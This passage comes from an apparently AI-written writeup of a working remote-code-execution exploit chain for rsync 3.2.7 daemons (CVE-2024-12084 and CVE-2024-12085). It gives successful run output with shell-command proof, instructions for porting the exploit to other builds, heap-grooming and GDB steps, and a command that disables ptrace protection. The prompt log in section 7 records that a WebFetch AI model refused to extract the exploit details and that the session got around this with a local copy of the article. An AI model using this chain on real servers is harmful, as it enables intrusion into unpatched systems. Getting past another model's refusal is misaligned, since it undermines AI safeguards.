0xaaaad2dcaec4 +[+] Binary base : 0xaaaad2da0000 + +[*] Phase 2: heap overflow → RCE + shell_exec = 0xaaaad2dca120 + ctx_evp = 0xaaaad2e54fb0 + payload = 344 bytes at &ctx_evp + fake_ctx = 0xaaaad2e54fb8 (+8) + fake_evpmd = 0xaaaad2e55050 (+160) + cmd_addr = 0xaaaad2e55008 (+88) + target ndx=1 file=bar.txt + sending payload (344 bytes) to &ctx_evp... + overflow complete, consuming server output... + server connection ended: connection closed +[+] Payload delivered — check if command executed. + +real 0m14.383s +user 0m0.674s +sys 0m1.609s + +$ cat /tmp/rce_proof.txt +uid=1000(node) gid=1000(node) groups=1000(node) +``` + +1809 connections in 14 seconds — ~125 connections/second sustained. +17 of 24 bytes were one-shot hint hits; the 7 searched bytes consumed +~256 connections each (full fan-out, since `as_completed` doesn't +preempt running probes). Phase 2 is a single connection. + +--- + +## 4. Porting to Other Installations + +### What changes between targets + +| Item | Why it changes | How to find it | +|------|---------------|----------------| +| `SHELL_EXEC_OFFSET` | Different compiler/flags | `nm rsync \| grep shell_exec` | +| `CTX_EVP_OFFSET` | Different .bss layout | `nm rsync \| grep ctx_evp` | +| `CHECK_COMPRESSION_OFFSET` | Different .text layout | `nm rsync \| grep set_compression` then add 599 | +| `XFER_SUM_NNI_OFFSET` | Different .data layout | `nm rsync \| grep valid_checksums_items`, then GDB to find SHA1 entry | +| Heap grooming | Different glibc version | See below | +| OpenSSL struct offsets | Different OpenSSL version | Reverse-engineer EVP_MD_CTX/EVP_MD layouts | +| .bss neighbor globals | Different compiler | `nm rsync \| sort` near ctx_evp | + +### Adapting heap grooming for a new glibc + +The #1 portability issue is heap grooming. The exploit needs `sum_struct` +allocated immediately after `sum_buf[]` with only an 8-byte chunk header +between them. + +**Step 1**: Check malloc chunk sizes: +```c +// Compile and run on target: +#include +#include +#include +int main() { + for (int sz = 1; sz <= 48; sz++) { + void *p = malloc(sz); + printf("malloc(%2d) -> usable=%zu chunk=%zu\n", + sz, malloc_usable_size(p), malloc_usable_size(p)+8); + free(p); + } +} +``` + +**Step 2**: Set breakpoint at `sender.c:98` and check the gap: +``` +(gdb) break sender.c:98 +(gdb) continue +(gdb) printf "s=%p sums=%p diff=%ld\n", s, s->sums, (long)s - ((long)s->sums + s->count*40) +``` + +If `diff = 8` → grooming is correct. +If `diff > 8` → extra chunks in the gap. Try: + - Removing the second filter + - Adjusting filter pattern sizes + - Adding more filter rules to consume extra tcache entries + +**Step 3**: Check which .bss globals the payload overwrites: +```bash +nm rsync | sort | awk -v base=$(nm rsync | grep ' B ctx_evp$' | cut -d' ' -f1) \ + '{ a=strtonum("0x"$1); b=strtonum("0x"base); if (a>=b && adigest->freectx(ctx->algctx)`. This cleanup path exists in +OpenSSL 3.x when reinitializing a context that already has an `algctx`. + +For OpenSSL 1.1.x, the struct layout and cleanup path differ. You'll +need to reverse-engineer `EVP_DigestInit_ex` in the target's +`libcrypto.so` to find: +- The offset of `digest` in `EVP_MD_CTX` +- The offset of `algctx` in `EVP_MD_CTX` +- The offset of `freectx` in `EVP_MD` +- What conditions trigger the cleanup (flags, etc.) + +### Adapting for non-SHA1 checksums + +If the target server supports xxhash (most stock packages do), Phase 1 +uses xxhash64 (8-byte digest) for a faster and more reliable info leak. +If only SHA1/MD5 are available, the info leak window starts at offset 20 +instead of 8, requiring binary-specific analysis to locate a pointer +in that range. + +Phase 2 uses SHA1 as the checksum for the overflow connection. The +`XFER_SUM_NNI_OFFSET` must point to whichever checksum entry is +negotiated. Use GDB to verify: +``` +(gdb) break sender.c:98 +(gdb) printf "xfer_sum_nni->name=%s offset=0x%lx\n", xfer_sum_nni->name, (long)xfer_sum_nni - base +``` + +--- + +## 5. Debugging Methodology + +### Essential GDB techniques + +**Attach to daemon with fork following**: +```bash +DPID=$(pgrep -x rsync) +gdb -q -p $DPID \ + -ex "set follow-fork-mode child" \ + -ex "set detach-on-fork off" \ + -ex "set pagination off" +``` + +Ensure `ptrace_scope` allows attaching: +```bash +echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope +``` + +**Key breakpoints**: +``` +break sender.c:98 # after sum_buf + sum_struct allocated +break shell_exec # RCE trigger +watch *(long*)&ctx_evp # detect ctx_evp overwrite +break sum_init # check nni argument +break flist_for_ndx # track ndx values +``` + +**Check heap layout**: +``` +(gdb) break sender.c:98 +(gdb) printf "s=%p sums=%p gap=%ld\n", s, s->sums, (long)s - ((long)s->sums + 200) +(gdb) x/16gx (char*)s->sums + 200 - 8 +``` + +**Check .bss state after overflow**: +``` +(gdb) watch *(long*)&ctx_evp +(gdb) continue +# When hit: +(gdb) x/40gx &ctx_evp +(gdb) printf "xfer_sum_nni=%p\n", xfer_sum_nni +``` + +### Daemon log messages and their meaning + +| Log message | Meaning | +|------------|---------| +| `File-list index N not in -1 - M` | Server read ndx=N but file list only has M entries. Usually means overflow didn't work (leftover data read as next ndx). | +| `unexpected tag -N` | Client sent non-multiplexed data but server expects multiplexed, or vice versa. Check `out_multiplexed` setting. | +| `connection unexpectedly closed` | Normal when exploit closes connection after payload delivery. | +| No error, just `building file list` | Server likely crashed silently (SIGSEGV/SIGABRT in child). Check with GDB. | + +### Wire capture technique + +Wrap the socket to log all sends after protocol setup: +```python +class LogSocket: + def __init__(self, sock): + self._sock = sock + self.log = [] + def sendall(self, data): + self.log.append(bytes(data)) + return self._sock.sendall(data) + def __getattr__(self, name): + return getattr(self._sock, name) + +rc.sock = LogSocket(rc.sock) +``` + +Parse MSG_DATA headers: +```python +raw_tag = struct.unpack('> 24) - 7 # 0 = MSG_DATA +msg_len = raw_tag & 0xFFFFFF +``` + +--- + +## 6. Successful Exploit Run + +``` +$ python3 /tmp/test_phase2.py +daemon PID=3797045, base=0x6085e935a000 + +[*] Phase 2: heap overflow → RCE + shell_exec = 0x6085e9385970 + ctx_evp = 0x6085e93f7c28 + payload = 289 bytes at &ctx_evp + fake_ctx = 0x6085e93f7c30 (+8) + fake_evpmd = 0x6085e93f7c78 (+80) + cmd_addr = 0x6085e93f7d30 (+264) + target ndx=1 file=bar.txt + sending payload (289 bytes) to &ctx_evp... + overflow complete, consuming server output... + server connection ended: connection closed +[+] Payload delivered — check if command executed. + +*** RCE SUCCEEDED! *** +``` + +``` +$ cat /tmp/rce_proof2.txt +uid=1000(x) gid=1000(x) groups=1000(x),4(adm),24(cdrom),... +``` + +--- + +## 7. User Prompts That Guided This Work + +Every user prompt from the session, in chronological order. These shaped +every major pivot in the development process. + +1. *Initial request* — Asked to exploit rsync CVE-2024-12084 (heap + overflow) + CVE-2024-12085 (info leak) into a full RCE chain against + rsync 3.2.7 daemon, following the Phrack 72 "Desync the Planet" + article. + +2. **"why are you modifying the rsync source?"** — I had been adding + `fprintf` debug statements to sender.c and recompiling. The user + correctly pointed out this shifts binary offsets (ctx_evp, shell_exec, + etc.) and invalidates the exploit constants. + +3. **"you should be using gdb .."** — Redirected from printf-debugging + to GDB. Led to the attach-to-daemon workflow with + `set follow-fork-mode child` that proved essential for every + subsequent debugging step. + +4. **"what sandbox"** — I had confused /tmp file isolation with + sandboxing. Clarified the environment. + +5. **"if you need root the password is x ?"** — Provided root credentials + to fix `ptrace_scope` (was set to 1, blocking GDB attach). We ran + `echo 0 > /proc/sys/kernel/yama/ptrace_scope`. + +6. **"are you following the phrack exploitation? it outlines it pretty + clear"** — Critical redirect. I had been inventing a multi-entry + layout trying to align 40-byte sum_buf strides with 48-byte EVP_MD_CTX + field offsets. The Phrack one-shot contiguous write approach is far + simpler and more reliable. + +7. **"read the phrack exploit - they use the info leak + heap overflow + to get a reliable exploit."** — Prompted me to actually read the + full Phrack article rather than working from partial understanding. + +8. **"the writeup is in /tmp/rsync.txt"** — Pointed to the local copy of + the Phrack article. Saved time vs trying to web-fetch it (the + WebFetch AI model refused to extract exploit details). + +9. **"if you need to setup a qemu with the exact debian + rsync used + that is fine"** — Offered to set up the exact Debian 12 target + environment. We didn't end up needing this because we adapted the + exploit to our Ubuntu 22.04 system, but this would be the fastest + path for exact reproduction of the Phrack PoC. + +10. **"perfect it seems to work!! can you document your whole process + + my prompts in a writeup! include how to get it working on other + installations etc and debugging instructions."** — Led to this + writeup document. + +11. **"now that you have a good grasp of this vulnerability and + exploitation can you audit the latest rsync for variants that may + allow exploitation"** — Led to the security audit of rsync 3.4.1 + documented in the appendix. + +12. **"the WRITEUP didnt include all of my prompts"** — This correction, + leading to this expanded prompt section. + +### ARM64 port session + +13. **"Read the WriteUp and reproduce this exploit with exploit.py"** — + Initial port request. Environment turned out to be Debian 12 / arm64 + / glibc 2.36 — different OS, different glibc, different *architecture* + from the writeup. No GDB, no strace, no root. Five distinct + arm64-specific bugs were found and fixed (§3a). `rsync_lib.py` was + built from scratch by reading the rsync 3.2.7 source — a socat wire + capture of the real client revealed args use `\0` not `\n`, checksum + negotiation is bidirectional, and `write_line` was bypassing the + multiplex layer (server: "unexpected tag 83" = `'Z' - MPLEX_BASE`). + The trickiest bug: `shell_exec` *did* fire and *did* fork, but + `match_sums` zeroes `last_match` at `ctx_evp+0x110` before `sum_init`, + truncating the command string at byte 8. Diagnosed with a ptrace + breakpoint on `shell_exec` that printed `X0` and followed + `PTRACE_O_TRACEFORK` — the fork happened, the cmd pointer was right, + but the string read back as `"touch /t"`. Moved the command to + `+0x58` (inside the unused `ctx_md` struct). + +14. **"continue"** — Permission re-grant after a tool-use rejection during + the initial daemon startup. Resumed without issue. + +15. **"Alright, add to the writeup your adaptions"** — Wrote §3a + documenting all five arm64 bugs (A1-A5), the GDB-free debugging + methodology (LD_PRELOAD probes, ptrace crash-catcher, pattern-payload + survival test), and the working run output. + +16. **"Your exploit now takes 5 minutes to run, probably because of the + brute-forcing in first step. Make it faster."** — Two stacked fixes: + a hint table (18/24 bytes are structural constants on arm64 — `0x00` + canonical bits, `0xaa`/`0xff` region prefixes, `LEAK_OFFSET` page- + offset bits) and a `ThreadPoolExecutor(16)` for the truly random + bytes. 5 minutes → 14 seconds. + +17. **"Add to the writeup the ARM64 environment, and a note about + speeding up, including a sample run [...] Also update the user + prompts with the prompts/responses so far"** — Added the arm64 + environment table to §0, the speedup section + timed run to §3a, + and these five entries to §7. + +--- + +## 8. File Inventory + +| File | Description | +|------|-------------| +| `exploit.py` | x86-64 exploit (original, Ubuntu 22.04 / glibc 2.35 / OpenSSL 3.0.2) | +| `exploit2.py` | ARM64 port (Debian 12 / glibc 2.36 / OpenSSL 3.0.18) — see §3a | +| `rsync_lib.py` | rsync protocol library (original) | +| `rsync_lib2.py` | rsync protocol library (rebuilt from source during ARM64 port) | +| `writeup.md` | This document | +| `README.md` | The story of the ARM64 port | + +### Prerequisites + +```bash +pip install xxhash # needed for Phase 1 info leak +``` + +--- + +## 9. References + +- Phrack 72, Article 11: "Desync the Planet - Rsync RCE" by Simon + Scannell, Pedro Gallegos, Jasiel Spelman + (https://phrack.org/issues/72/11_md) +- CVE-2024-12084: Heap Buffer Overflow in Checksum Parsing +- CVE-2024-12085: Info Leak via Uninitialized Stack Value +- rsync 3.2.7 source: https://download.samba.org/pub/rsync/src/ +- rsync 3.4.1 source: https://download.samba.org/pub/rsync/src/rsync-3.4.1.tar.gz